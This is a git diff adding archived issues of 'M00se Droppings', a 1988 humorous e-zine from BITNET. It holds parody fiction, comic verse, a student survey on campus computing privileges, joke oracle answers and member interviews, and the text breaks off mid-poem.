%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + + Mark walked in and tossed his trench coat onto the back of the chair, +negligently dropped his brief case next to it and made a bee line for Cherri +Redding's office. A rap on the door was followed soon by a 'come in', and +Mark entered the office and closed the door behind him. + "Mark, good to see you. Sorry I had to cut your vacation short, +but Lou is on assignment in Hawaii (Hawaii!, thought Mark) and I need a top +notch reporter on this bank robbery thing, sooo....." Cherri smiled, and +spoke pleasantly, but remorseful undertones snuck in. + "Sure, no problem. It's not like I was doing anything important." +Mark half grumbled, half mumbled in reply. + "I'm really sorry Mark. I promise I'll make it up to you." Cherri +stood up, and walked over behind Mark, put both her hands on the sides of +his face, tipped his head back, and kissed him lightly on the forehead, +then walked out of the room. Mark sat a moment, sighed, then got up and +left Cherri's office and went back to his desk to get started on the story. + + %%%%%%%%%%%%%%%%%%%%%%%%%%%%%% + + The small windowless room is brightly lit, the sparse but opulent +furnishings covered with a yellow gooey substance. There is a large poster of +a Holstein wearing sunglasses on one of the walls. The steel door is closed, +but the last person out forgot to turn off the radio. A fly buzzes about, +flitting from chair to chair, examining the mess as only a fly can. The +muffled sound of voices precedes the door being flung open violently. In +strides a man sized being, all dressed in yellow with a white oval on his chest +that is embossed with a stylized dark blue 'V'. His features are obscured by +something yellowish. He is the Velveeta Vermin (quick, hide the crackers!). +Following him are four yellow oozing blobs, vaguely humanoid in shape, but only +vaguely. They are The Processed Cheese Food Irregulars, the Vermin's cronies +and partners in crime. + "Duh, gee boss, dat wuz great. Whadder we goin ta do wid all dis +loot?" + "Shut up!" snapped the Vermin. "I'm thinking" + "Ooooooh Boss. I think zat ve should go to Rio. I've always wanted to +go to Rio" whined one of the blobs in a nasal twang reminiscent of Peter +Lorre. + "All of you shut up! Just shut up! The bank robbery was a lure for +Superm00se! I'll lure him here then kill him! Yes, I will!" The Vermin's +voice had the hard edge of a maniac on the verge of a break down. + + %%%%%%%%%%%%%%%%%%%%%%%%% + + A short, compact man stood on the corner of 5th and Main, two blocks +down from the First National Bank of Gothopolis, covered in a yellow goo, his +once recognizable brown and orange costume now almost totally obscured. +A steady stream of obscenities issued from his mouth, punctuated every so often +with the phrase 'need a brewski'. The man walks down the street a bit further, +arriving at a convenience mart. He enters and a short while later returns to +the street with a six pack of Piels in his hand. One beer is taken from the +pack. A barely audible 'snikt' precedes the top of the can be cleaved off by a +razor-sharp piece of adamantium. The beer ends its brief existence in five +seconds. The empty can is crumpled in hand and dropped to the ground. + The next block up, a late model pink Cadillac El Dorado convertible +is seen to zooming bye by the goo covered man. He emits a LOUD belch. A +screech of tires can be heard. The caddy comes back into view, and turns up +the street coming towards the man, and stops in front of him. + "Urp!" + "Rough day Wolvie?" queries the car's driver, a tall thin man in a +positively hideous polyester leisure suit. + "*Belch*. Rough??? What's it look like bub? I couldn't even cut +this stuff with my claws!" he says, pointing the mess all over himself + The driver whistles softly as his eyebrows attempt a moon shot. + "Well, let's get out of here, but first, we've got to do something +about your clothes. That yellow goo would simply ruin the upholstery." + The driver pulls an odd looking pistol from the glove box. + "What's that?" + "Leisure suit ray. Turns anyone's clothes into a cheap polyester +leisure suit." + "Positively fiendish." + "I know" replies the driver as he points the gun at his gooey +companion and pulls the trigger. He now stands appareled in an off yellow +leisure suit. + "The color is lousy" + "Yeah, I know. That's the one bug I haven't worked out yet." + The yellow suited chap proceeds to get in the car which then zooms +away. + + %%%%%%%%%%%%%%%%%%%%%%%%%% + + Superm00se sat on the veranda breathing heavily, covered in a thick +heavy yellow goo, having narrowly escaped death at the clutches of the evil +and vile Velveeta Vermin. The Vermin was now at Superm00se's feet, securely +bundled up in tin foil. + "Hey, wait a minute, you can't do this! This is supposed to be a cliff +hanger serial. You can't do this!" + The author smiles again, not in need of a shave as much as before, but +still sporting a few days growth. He types + "You still don't understand, do you silly m00se? I'm the author, I can +do ANYTHING I want to you. I'm the AUTHOR!" + "That doesn't matter! You started out with the concept of a cliff +hanger serial. You must remain within the pre-established boundaries you +yourself set." + "No I don't. I may do whatever I wish. You are subject to my every +whim. Period, end of discussion." + The seated figure then proceeds to execute a and exits the +editor and prepares to hit the spell checker. + + %%%%%%%%%%%%%%%%%%%%%%%%%%%%% + + Stay tuned for the next installment when a Plot Continuity Restoration +Device (NOOO!!!! not a Plot Continuity Restoration Device) will be implemented. + +- - - - - - - - - - - - - - - - - - - - + + The Prophecies of Nostradam00se + + by Anonym00se + + Recently, the need arose for me to travel to Spain to research a +paper on the horse of Don Quixote. One day, while I was researching in +the Alfonso el Sabio library at the University of Numancia, I rose to get +a glass of water, but tripped over the table leg, and crashed into a shelf +full of biographies of Pablo Picasso. When I came to, I saw that the bookcase +had been slightly moved to expose a secret door. + I managed to gain entrance. Using my trusty flashlight, I made +out stacks and stacks of old (I mean OLD) books. On top was a thick manuscript +bound in red leather and tied up with a black ribbon. Beneath the ribbon +was a note: "A Padre Sanchez, de Torquemada. Quemalo inmediatamente!" (To +Father Sanchez from Torquemada. Burn this immediately!) Burning with +curiosity (as I would certainly have been if Torquemada was still around), +I slit the ribbon and opened the book. After reading the first few pages, +I realized I was reading a set of profound predictions about the world. + I managed to find some notes on the book in Torquemada's hand. +Apparently, the versified predictions were written by a monk of the order +of Luis Obispo named Nostradam00se. He lived in the mid 1400's in Andorra. +However, one of the monks of his small abbey (which took up most of the +acreage of Andorra at the time) got jealous of his prophetic power and mailed +a copy of the verses to Torquemada. Torquemada skimmed the work and +immediately ordered Padre Nostradam00se barbequed. Luckily, his work escaped +the bonfire. + + I returned to the States with the book and translated the verses into +English, trying desperately to keep rhyme and meter (not always succeeding). +After translating the 13042 quatrains, I submitted them to scholars of medieval +prophecy and verse at M00sekatonic University in the Boston area and the head +of the m00sic department at the University of Southern North Dakota at H00ple, +who is trained in interpreting obscure verse. While these scholars have not +yet managed to interpret these verses, they have determined that the following +four quatrains refer to 1989. They have promised to give me a report as soon +as I have it, which I shall in turn pass on to the M00se Droppings. + +1. The greatest of cats shall prowl in the street, + Awaiting the turns of the trump. + The road of the walls show kneel at his feet, + And give him a great, golden lump. + +2. Out of the barrels cucumbers shall leap, + And into the sea shall be tossed. + A quiver of arrows up river shall creep, + As books of the numbers are lost. + +3. The son of physician alone shall now ride, + On journeys unto a far place. + But soon the vacuum the boy shall abide, + For cursed is the sight of his face. + +4. The year of the Penguin shall bring a great day, + That only the Lion shall know. + The sea and the sun and the moon far away + Shall bury the grass beneath snow. + +-------------------------------------------------------------------------------- +*************************** M00SCELLANEOUS NONSENSE **************************** +-------------------------------------------------------------------------------- + + + +From: V067PXNR@UBVMSD +Description: Mahn-mahn-ha-ha-HA-HA-HA-HA-HAAAAAAN! + + YOFLAN debarkal syngrog de fwatz encromber, ambreg mo wolna frenkel. +Dohume fra crabble hone, buhn secim los mynka. Grokle mon bubis honkoge?? +Pukef jelk pamble hoggen!!!!!HAHAHAHAHAHAHA!! +DON'T YOU GET IT?! + PUKEF JELK P A M B L E HOGGEN!!!!! + +HA HA HA HA HA HA HA HA HA HA ha - snif-ha ha- snif- chuckle-ha-- + PAMBLE HOGGEN!!!!!! OH, HA HA HA HA HA HA HA HA HA HA + + Y E A. +YOW- + +- - - - - - - - - - - - - - - - - - - - + +From Goblin: (Funny how things turn out... When I sent this in to Pickle, +I had no idea I'd be putting it in myself!) + + A GENETIC ODE + (or A Melan Coli Tale) + + + I used to be a coli, as wild as wild could be. + They called me Photo Trophic, whatever that would be. + They kept me pure and simple and completely free from faults + And fed me on the simplest food...glucose and common salts. + + Then Lederberg and Tatum came and put me in the sun + And watched me very closely to see what harm they'd done. + Although they hadn't killed me, they had really hurt my pride + And though I looked quite normal I was quite upset inside. + + Next day they tried to feed me with my normal sort of food + But they found I couldn't use it in the way I always could. + Glucose I could metabolize-in that I was proficient. + But in synthesizing valine they soon found I was deficient. + + They couldn't find their valine so they went to biotin + And till they thought just what to do they kept me dietin'. + Then foresight and discernment made this lecturer and Prof. + Enrich my food with Oxa cube and call me Oxo Troph. + + They called another doctor and they all discussed my case. + And decided that my DNA must have displaced a base. + They all seemed quite excited and I heard Doc Tatum say, + Another dose of sunshine might upset more DNA. + + They gave me 80 seconds of the brightest light I'd seen, + And I knew a UV photon had displaced another gene. + I remember seeing Lederberg- eyes gleaming through his specs + Excitedly tell Tatum that I'd now acquired a sex. + + Then Lederberg asked Tatum if he could foretell my fate + And Tatum thought my only hope was to acquire a mate. + So they gave me you, dear Effplus, knowing you alone could right + The little bits of DNA that suffered in that light. + + There's just two things I ask you if you really care for me + One little gene for valine- one for fertility. + Your genotype's just perfect to revitalize my strain + And I know you will co-operate to make me wild again. + + Be warned O Human Beings by this melan coli ode + You who think you are so clever cracking our genetic code. + There's a moral in this story- I will tell you what it means: + IF YOU STRIP TOO MUCH TO SUNBATHE, + YOU MAY LOSE A PAIR OF JEANS. + +The above poem was obtained from the Dept. of Bacteriology, Univ. of Wisconsin. +(of course without their permission..) + +- - - - - - - - - - - - - - - - - - - - + + + + From the N.Y. Times, w/o permission: + +The annual Spring Comdex computer show in Atlanta earlier this month +meant a booming business for the Bulletstop, an indoor firing range in +suburban Marietta where customers can rent firearms and bullets to +shoot anything they please, as long as it is already dead and fits +through the doors. The Bulletstop gave Comdex visitors a chance to +vent their frustrations by venting PC's, printers, hard disks, +monitors and manuals with lead. + +Paul LaVista, the owner, said about 10 groups of high-tech types came +in during the Comdex show. "I'm not a computer whiz, but one group +brought in what looked like a hard disk and blasted it," he said. +"Another bunch brought in some kind of technical manual. The thing was +enormous, about 2,000 pages. They rented three machine guns -- an Uzi, +an M3 grease gun and a Thompson -- and when they were done it looked +like confetti." + +"It must have been quite a show," LaVista said of Comdex. "Doctors +and computer types usually have a lot of pent-up anxiety, but these +folks were dragging when they came in. When they left they were really +up. The range looked like a computer service center after a tornado." + +LaVista said PC's were popular targets year-round. "People are +frustrated with them," he said. A year ago seven or eight men carried +in a giant old Hewlett-Packard printer. "I ran an extension cord to +it, and just as it started to whirr and spit out paper, they blasted +it," he said. + +-------------------------------------------------------------------------------- +****************** SERIOUS STUFF (This won't happen often) ********************* +-------------------------------------------------------------------------------- + + + +note: this survey is primarily interested in computing privileges +for all users. for instance, if you are a comp sci major with the keys to the +sun ring or a chem major with your own vax, your answers won't be as useful as +if you were joe student, english major, with a cramped account on the academic +mainframe. thanks for your help. i owe you lots of backrubs. collect them +the next time you're in middletown, ct. especially if you're cute and male. +bl00p. + +============================================================================== +This is a survey of the rights and privileges of users at various schools +across the country. Please fill it out, and send it to + +RFREUNDLICH%EAGLE.WESLEYAN.EDU@WESLEYAN.BITNET +(or RFREUNDLICH@WESLEYAN.BITNET, if you don't like to type a lot) +(or just RFREUNDLICH@EAGLE.WESLEYAN.EDU, if you're on internet) + +If you know a user at another school who would be interested in taking part in +the survey, please forward him or her a copy. The more people get this, the +better the results will be. + +Here goes: + + +What is your name (real life, not username)? +What is your username? +What is your Internet (Arpanet) address? +What is your Bitnet address? +Do you want a list of compiled results? +What school are you from? +What kind of system is your mainframe (hardware and OS)? + + + +Please put an X in the appropriate column: + +U=Undergrads +G=Grad Students +F=Faculty +S=Staff +A=Administration +C=Computing Center Staff +W=Students who work for the Computing Center +O=Members of the local community + + U G F S A C W O +1)Who can use the system at your school? ..................... +2)Who has to pay for use of the system (if anyone)?........... +3)Who has network privileges (ie telnet, FTP, etc)?.......... +4)Who has access to a draft printer? ......................... +5)Who must pay for such access?............................... +6)Who has access to a letter-quality printer?................. +7)Who must pay for such access?............................... +8)Who has access to a laser printer?.......................... +9)Who must pay for such access?............................... +10)Who has access to permanent storage (ie tapes)?............ +11)Who must pay for such access (per use, or initially)?...... +12)Who is allowed to word-process small documents, for + example a small paper, on the mainframe?.................. +13)Who is allowed to word-process large documents, for + example a term paper, thesis, or journal article, + on the mainframe?......................................... + + + + +Answer Yes or No: + +1)Can you set up a file in your account so that other users can + access it?..................................................... +2)Is TALK supported on your mainframe?............................ +3)Is PHONE supported on your mainframe?........................... +4)Can you interactively send messages to users on other systems?.. + + + +Give the requested information: + +1)What mail system does your school use? + +2)If a user is suspected of violating Computing Center policies, is s/he + innocent until proven guilty or guilty until proven innocent? Or something + else, and if so what? For example: + At AnySchool, users have access to a work area called SCRATCH. All files + in SCRATCH are deleted several times every day, except for those belonging + to users who are currently logged in. Thus a student can work in SCRATCH, + which has lots of space, and then when finished, copy everything to + his/her own directory. JSMITH has been working in SCRATCH, and + accidentally leaves him/herself logged in, thus preventing his/her files + in SCRATCH from being deleted. + Big Brother (someone from the CC) sees this, and thinks JSMITH might have + done this intentionally to effectively gain more disk space. If your + school were AnySchool, would Big Brother + a) Call JSMITH up on the carpet, yell at him/her, make threats about + revoking privileges + b) Give JSMITH the benefit of the doubt and assume the transgression was + accidental + c) Do something else, and if so, what? + + +3)If a user is suspected of a violation, will s/he be notified before any + action is taken against him/her? Or will s/he not know it until, say s/he + tries to log in and isn't allowed to? Or will there be some other action, + and if so, what? + +4)How are questions from users about the system treated? For example, if a + user wanted to know the meat of how something worked, and asked a CC + administrator, would s/he get + a) acknowledgment of the question but "polite" refusal to answer it + b) acknowledgment of the question, but "I can't answer that, and + here's why" + c) acknowledgment, and "I can't tell you but here's who can" + d) acknowledgment, and "OK, i don't want to tell you but you have the + right to know, so here it is" + e) acknowledgment, and "WOW, I'm glad you asked that! Here's how to + do it and let me know if you need any more help!" + f) total lack of acknowledgment of the question + g) "please stop annoying me, you stupid user" + h) kicked off the system + i) total lack of acknowledgment, and the item in question disappears from + public use (ie "wow, could users actually *do* that? how'd we let that + happen? better take it away") + j) some other response (specify) + +5)What about suggestions from users? "Hey, it'd be neat if we could ..." + + + +Anything else you'd like to so about your system? ie neat things you can do; +really neat things you'd like, but don't have; etc. + + +In case you're wondering, here's why I'm doing this. The Wesleyan Computing +Center Administration is horrible. I am writing this in one of the most +user-hostile environments I have ever seen or heard of. The incidents +mentioned as examples have actually happened here. The SCRATCH student was +yelled at and threatened before given a chance to explain (even before he +realized what he had supposedly done!). + +A student suspected of a violation (one which had occurred 2 months earlier) +graduated, and, expecting an alum account, tried to log in. She was denied the +account, without notification. Students hearing only her side of the story +were outraged. When an administrator finally had the chance to present the +other side of the story, it conflicted with hers. We tried for several weeks +to arrange a meeting where both sides could air their opinions and state what +they thought had happened (and been said). The administrator waffled for +awhile, pontificating the whole time about how he wanted good relations +between the WCC and students, then turned down the meeting. She still doesn't +have her account. + +When we upgraded to VMS 5.0-1, Digital sent TALK along with it. TALK, if you +don't know, allows users on different systems (or the same system) to +interactively communicate. A week later a student sent a question to the +sysmanager about TALK. The next day TALK was completely gone from the system. +No help file, no EXE file, no reply from the sysmanager, no nothing. + +I could go on, but I think you're getting the point. Our complaints are not +going to change anything unless we can shove data under their noses that says +"Look, you morons, here's how it happens *everywhere* else!" Even then, it may +not work, but it's worth a shot. + +Like I said earlier, the more data we have, the more accurate the results will +be. So please, please, please fill this in, and also forward it to anyone you +know anywhere else who'd be interested in helping. I'd like to compile the +results during our Spring Break (2nd week of March), so if you can get your +answers to me before then, it'd be really helpful. Also, if you've got any +ideas, hints, suggestions on how to deal with idiocy, or if you've got similar +problems you'd like to air, send 'em to me (separately from the survey. it'll +make my life easier). Thanks a lot. + + \,,/, + ' Rob + +-------------------------------------------------------------------------------- +******************************* ASK THE ORACLE ********************************* +-------------------------------------------------------------------------------- + +This new column has been submitted by Hal Eisen. Unfortunately, the sheer +volume of his sending has made it necessary for us to only include a FEW +of his best. If you have any similar examples of ORACLE's output, send them +to him at . + + +Where, oh where has my little dog gone? + +The Oracle has answered your question as follows: + +He probably fell through a trap door. +er--this *was* a Hack question, wasn't it? +- - - - - - - - - - - - - - - - - - - - +Wouldn't you rather be mating? + +The Oracle has answered your question as follows: + +Mating? MATING? I realize that this is Hopkins, and that not only +are people clinical science-types, but that they are also desperate +for decent members of the opposite sex, BUT STILL could you at least +make it sound as though you're not talking about putting two research +subject rats in a box with a Dire Straits record on and letting them +go at it? + +That said... so, come here often? What's your sign? +- - - - - - - - - - - - - - - - - - - - +Give the 5 best reasons for NOT going to class... + +The Oracle has answered your question as follows: + +1) I'd rather sleep +2) I'd rather sleep +3) there is NO reason #3 +4) The professor spits too much +5) The phone is ringing + +- - - - - - - - - - - - - - - - - - - - +What's the 47th word in Douglas Adams' Hitchhiker's Guide to the +Galaxy? + +The Oracle has answered your question as follows: + +Now let me think, I read that book just before my third 'gargleblaster. +- - - - - - - - - - - - - - - - - - - - +it's stream of consciousness time: I'll say a phrase, you type the +first thoughts to come to mind. Here goes... + + President Quayle + +The Oracle has answered your question as follows: + +^Z +- - - - - - - - - - - - - - - - - - - - +Is suspense dead? + +The Oracle has answered your question as follows: + +I'll tell you tomorrow... +- - - - - - - - - - - - - - - - - - - - + What good is the skink? + +The Oracle has answered your question as follows: + +Thke skink iks verky gookd ifk kyou like to waskh dishkes in itk. + +-------------------------------------------------------------------------------- +****************************** MEET THE M00SES ********************************* +-------------------------------------------------------------------------------- + +The SHORT form of Pickle's ID file: + + ^ + Mm/ \mM + / O \ + / \_/ \ + /_______\ + + THE OFFICIAL BILL DICKSON CHAPTER OF THE M00SE ILLUMINATI OFFICIAL ID CARD + +NAME: William R. Dickson (Bill, Bill the Cat, Pickle, Moon Roach) +SPECIES: White American male. PURITY QUOTIENT: 79.4% +DESCENT: Scottish, Irish, teensy bit of Italian, Lots of other stuff. +DIMENSIONS: 5' 11 3/4" (Never did quite make it) by 145 lbs. +DESCRIPTION: Average height. Average build. Blue eyes. Hair appears to + fluctuate between normal brown and slightly red. Glasses, vision + 20/30. Hair medium length. Braces for the next 11 months. +AGE: 20. BIRTHDATE: February 11, 1968. RELIGION: Devout agnostic. +MAJOR: English, concentration in writing. Political science minor. +EMAIL ADDRESS: Dickson@Hartford +FAVORITE QUOTE: "I had no shoes, and I pitied myself. Then I met a man + had no feet, so I took his shoes." + -Dave Barry +FAVORITE ANIMALS: Cats. LEAST FAVORITE ANIMALS: Twelve-foot piranha bees. +ACTIVITIES: Whitewater canoeing (solo, in an open slalom boat); theatre; + playing with my computer; roleplaying and semi-roleplaying games; + models; flying kites; reading. +THINGS I FIND TRULY LOATHSOME: Young children. + +- - - - - - - - - - - - - - - - - - - - + + AN INTERVIEW WITH PICKLE + +M00SE DROPPINGS: Good morning. +PICKLE: It's 1:30 in the afternoon. +MD: What prompted you to start the "M00se Illuminati"? +P: Well, though he and most other people who were around at the time deny it, + I'm pretty sure it was Dave Tarr. There are rumors that I am a clone of + Dave Tarr. So maybe I prompted myself. But I'm not sure. +MD: Why "M00SES"? +P: Because Chris Phillips liked m00ses. I think he's switched his preference + to armadillos recently, but it was m00ses back in '84. What Dave Tarr + actually did (though he denies it) was to suggest a merger between + Chris's fascination with m00ses and my fascination with secret societies, + which had developed after I read _Illuminatus!_. I think he was trying + to consolidate the madness a bit. +MD: Who ARE the M00ses, exactly? +P: Well, we all are. We are all m00ses. And I am one of your founders. +MD: Excuse us if this is a *personal* question, but why the name "Pickle"? +P: It's not phallic. Sorry to disappoint you. It actually comes from the + time many years ago when several of my friends accidentally called me + "Dill Bickson". It became Dill Pickle, then eventually was shortened to + Pickle. +MD: I see. Has being a M00se changed your lifestyle any? +P: Well, I'm not allowed on many forms of public transport, and I have to + wash myself in a rather special way. On the other hand, many major + governments fear me, and sometimes pay me huge sums for pieces of + information that the Secret M00se Service has picked up here and there. +MD: What do your friends and close relatives think of your involvement + in this organization? +P: Well, most of them are in the organization themselves. Those that aren't + tend not to believe in it. +MD: What does the FBI think of your activities? +P: Well, they're terrified, of course. They keep agents around me twenty- + four hours a day, disguised as college dorm-mates, professors, little + lead Call of Cthulhu figures, squirrels, and sadistic Public Safety + officers. I think the cleaning woman is the head agent, though. She + goes through my garbage looking for documents. +MD: If you could describe yourself in one word, what would it be? +P: Blue. +MD: Interesting. Why did you choose that particular word? +P: Well, you didn't give me much time, you know.... +MD: Has there been any history of insanity in your family? 8) +P: Oh, yeah, I think so. Lots of my relatives are nuts. Least, I think so. +MD: What do you think about the recent data showing that Hostess Twinkies have + a shelf-life of over 50 years? +P: Oh, I believe it. I don't think they've made a Hostess Twinkie in forty- + five years. Think of the efficiency. Churn out 800 million Twinkies + every fifty years, then fire everybody but your marketing and + distribution people. +MD: Have you ever had any "out-of-body" experiences? +P: What are you doing after the interview? +MD: Have you ever had any "out-of-mind" experiences? +P: What ARE you doing after the interview? +MD: Pickle. Who *is* the REAL Pickle? What's he REALLY like? +P: Well, unless I *am* a clone, you're looking at him. I FEEL real... +MD: If you could sum up your lunch in one word, what would it be? +P: Really horrible. +MD: Oh, I see ARA services your university... +P: Let's change the subject, okay? +MD: Is there anything you *really* want to say to all the M00ses out there? +P: Yes. English majors are the personification of intelligence. Scopin' out + the ghost. "Pulled away" refers to the knee of a man who is suspicious + or tired. +MD: Thank you for your time. +P: Hey, that recorder isn't actually on, is it? + +- - - - - - - - - - - - - - - - - - - - + + THE REVISED M00SE ILLUMINATI SHORT-FORM ID FILE + + + + +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD + + The Official M00se Illuminati Identification Form + + Chapter Name: ____________________________________________________ + Nickname(s): ____________________________________________________ + Life Form: ____________________________________________________ + Sex: Male ___ Female ___ Hermaphrodite ___ Other ___ + Net Address: ________@________ Purity Quotient: _______% + Description: ____________________________________________________ + ____________________________________________________ + ____________________________________________________ + Favourite Saying: ____________________________________________________ + Other Stuff: ____________________________________________________ + ____________________________________________________ + ____________________________________________________ + ____________________________________________________ + ____________________________________________________ + +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD + +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- +ADD: + +Buffalo Thr0ng V109MEN5 @ UBVMS 0.Dm00se + +DELETE: + +U of Vermont Chapter DZUCKER @ UVMVM dzucker + +For those of you who may no longer have the full M00se List, a fresh new +copy will be sent out in the next issue. + +PLAINBROWNWRAPPERPLAINBROWNWRAPPERPLAINBROWNWRAPPERPLAINBROWNWRAPPERPLAINBROWNW diff --git a/textfiles.com/magazines/M00SE/m00se22 b/textfiles.com/magazines/M00SE/m00se22 new file mode 100644 index 00000000..ae182a9a --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se22 @@ -0,0 +1,754 @@ + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #22| Disclaimer: The Editors will place almost anything | Mar. 2, 1988 +---------- in this newsletter out of a frantic desire to fill --------------- +the issue, so don't blame them for the quality or content of the submissions. +Excepting those they may have written themselves, the enclosed items do not in +any way represent the Editors' opinions. In fact, let's be real safe, and say +that as far as this newsletter is concerned, they have no opinions at all. OK? +=============================================================================== + + The Index + + EDITORIALS AND LETTERS An Editorial. + EVENTS AND NEWS Various & sundry items of [dis]interest + FICTION AND POETRY Romance, Quantum Cat's ID, The Lemon + M00SCELLANEOUS NONSENSE Love is Hell + ASK THE ORACLE More Answers to Life, the Universe, & Spam + MEET THE M00SES Alacrity, SalmonM00se + M00SE LIST UPDATE The complete list... + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- + "Nice computers don't go down!" + +Greetings All & Bl00p to Ya! + + Well another (how many?) rotations of the Earth, and M00se Droppings +did not get out as planned. :( The reason for this, to be honest, is lack +of submissions. We need lots of submissions to have this on-going madness +continue... So please, send send SEND submissions...(droool, wimper, beg..) + + Enough of that. Our very first issue came out and we were quite pleased +with it. We hope you were all as pleased. :*) We included page headers for +those who like to print MD out, but due to incompatibilities amongst host +machines, this didn't work out as planned. Oh well... we tried. + + About the Mega-Thr0ng-A-Th0n, we still would like input: suggestions, +scribblings, mad ravings, whatever... The idea still sounds like a good +one to us (Pickle, SalmonM00se and Goblin). We will try and help things along +by making suggestions or guest appearances (hint hint...*grin*). + + We've still included an index, but without page numbers it'll be a little +harder to find things. (Hmmm, we could always do it by line number...) 8) + + Goblin & SalmonM00se + + +Just A short note: Please, PLEASE include your name/nick with Submissions. +We WANT to give you credit for yer submissions! + + Goblin + +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- + +According to our sources, *nothing* officially happened recently. The well- +known (or not-so-well-known) publication, _The_National_Enquirer_, is really +subsidized by Reaganomics. + +- - - - - - - - - - - - - - - - - - - - + +According to the #@%^! woodchuck, the USA will be having a longer winter than +Canada... (A Bavarian plot?) + +- - - - - - - - - - - - - - - - - - - - + +Anyone owning a Macintosh: Have you seen the "Talking M00se" Desk Accessory? +It is VERY am00sing. If you're inactive for a specified time, the M00se +will pop up and say something irreverent to you. It is also possible to +add phrases (such as Bl00p) to its vocabulary. For info, ask LEE_JES@CTSTATEU. + +- - - - - - - - - - - - - - - - - - - - + +According to our sources, the Mega-Thr0ng-A-Thon will occur at the next +planetary conjunction. M00ses wishing otherwise should elect a MTaT +co-ordinator in their area. The co-ordinators will then be able to discuss +the MT-a-T with each other. Other suggestions are welcome as well. + +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + +Spaceman Biff .... + + +Yo, hey, hey! + + Thanks for all the help rendered on the subject of mollusks and, +in particular, scallops (oooh). I now feel much more secure in accepting +them as valid critters in their own right, but I'm not sure I'd want one +to marry my daughter. If I had a daughter, that is. Anyway, that's not +what I'm writing about tonight. I'd like to address a matter closer to +the heart of much of the human population. + + Several years ago a friend of mine and I were discussing what it +is that causes some men to be attracted to certain women, while others +were not, and we worked out some of the mechanics thereof. While the +treatment may seem involved, there are actually several easily +understood fundamentals that m00ses might find of interest. + + Basically, despite outward appearances, men are discrete when it +comes to romantic attractions. It is only on the macroscopic level that +they appear indiscrete. + + To treat the problem correctly, it is instructive to consider each +man an operator. Then it follows that each of these operators has a set of +women, his eigenwomen, if you will, upon which the operator operates, returning +the same woman, times a constant. Note that men must be hermitian, as these +constants are never complex. + + Then, it may be said that every woman to which this operator is +attracted may be represented as a linear combination of his eigenwomen. +"Smoothness" is that quality of having a basis set of eigenwomen that +spans all possible women (the dimension of which set may possibly be +infinite), or to put it more succinctly, such a man is a "smooth +operator." That some peanut butter appeals to all humans serves as an +example; everyone likes smooth peanut butter, but only some people like +chunky. (What are those chunks made out of, anyway?) + + Other quantized values, for example, charm, beauty, and +strangeness, have but minor importance, but then, we all have our little +quarks. + + I hope that I have shed some light on a topic which causes no +end of confusion to the human populace. I recognize that I will most +probably get a good deal of heat for having couched this entirely from a +makAle standpoint, and in my own defense I should like to say that an +analogous system exists for women and their respective, if not +respectable, eigenmen. However, despite concerted efforts to discover +the nature thereof, I have failed to discern the logic of this +sister system. Perhaps other m00ses might take up here, where I +must leave off. + + Fondly, + + --Spaceman Biff!!!!!!!! + + - - - - - - - - - - - - - - - - - - - - + +Here's the latest from QuantumCat the Quintessential (Bl00p!) : +(We liked the ID so much we decided to print it all..) + + + ------====== Quantum Cat ID V2.0.1 ======------ + + + +Of candle, book, the bell that rings, +Of time and tide and other things +The Teacher and Creator sings +In darkest night of Earth's new age +Call Him forth to show the way +Through woods where traps the shadows lay +And lead us safely into day +And through the gate to Earth's new age... + +I'm a cat of many names +Quantum, Quoter and others +The cheshire dares to call me mad +Of course he knows his brothers... + + Give me but a moment + ... yes, one or two, should do + Shall I tell the secret of my trade? + ... you really want me to? + + Maybe but a little hint--- + Acrostics CAN be fun + Can YOU appreciate the joke? + How could anyone? + +Music is a wond'rous thing, J.S.Bach to some is God + and I could quite agree +But Gil and Sully take their fling, Mock the first, forget the last... + whatever's left is me + +/\ /\ +\ \/ / Now take the cross of Andrew + \ / It's the cross of Patrick too + / \ Add a Thompson to the list +/ /\ \ And there you have me too! +\/ \/ + +Saluki they call my school's mascot +In all the world, this place I chose +Under the rule of Illinose... + + Can Avon Ride Beside Orac? No? Did Abraham Leave Eliza? + I'LL Inspire No Ominous Irish Song + + But... APT to some IS This + Still.... The Urgency Does Entail No Time + Consider.. Every New Tenement Entered Remembers + +What happened on the Nile.. 0 + + Where Livingston would be found - + Who months had been a-seeking - + When Stanley came around? R - + How did they finally meet? M + + Why did I even write it? - + Should this verse be fed to the sharks? + + 'tis not clever, but I'll not spite it. 7 + + +Ah, poetry gives the mind repose + or feeds the flames of base desire + Makes us fear the lovely rose + and love the fearful raging fire + + Yes, poetry will be forever + Though poets all must pass away + Yet once the pageant of life has ended +The poems remain and recall today + +- - - - - - - - - - - - - - - - - - - - + +(Submitted by R0b0p0pe ??) + +The Lemon. A soliloquy delivered in the produce section + +O Lemon! +You round +(well maybe not round but kinda funny-shaped) +thing +tell me in your simplicity +about life. + +O Lemon! +Surely you know about life +about love +about happiness +You sit on the astroturf stuff in the fruit bin +and look wise. + +O Lemon! +Surely if I pick you up +and hold you +I can feel wisdom in your funny bumps +and if I hold you +under my nose +I can smell your knowledge +or if I hold you +next to my ear +I can hear the sounds +of the fruit grove +that was once your home. + +O Lemon! +Why do you not 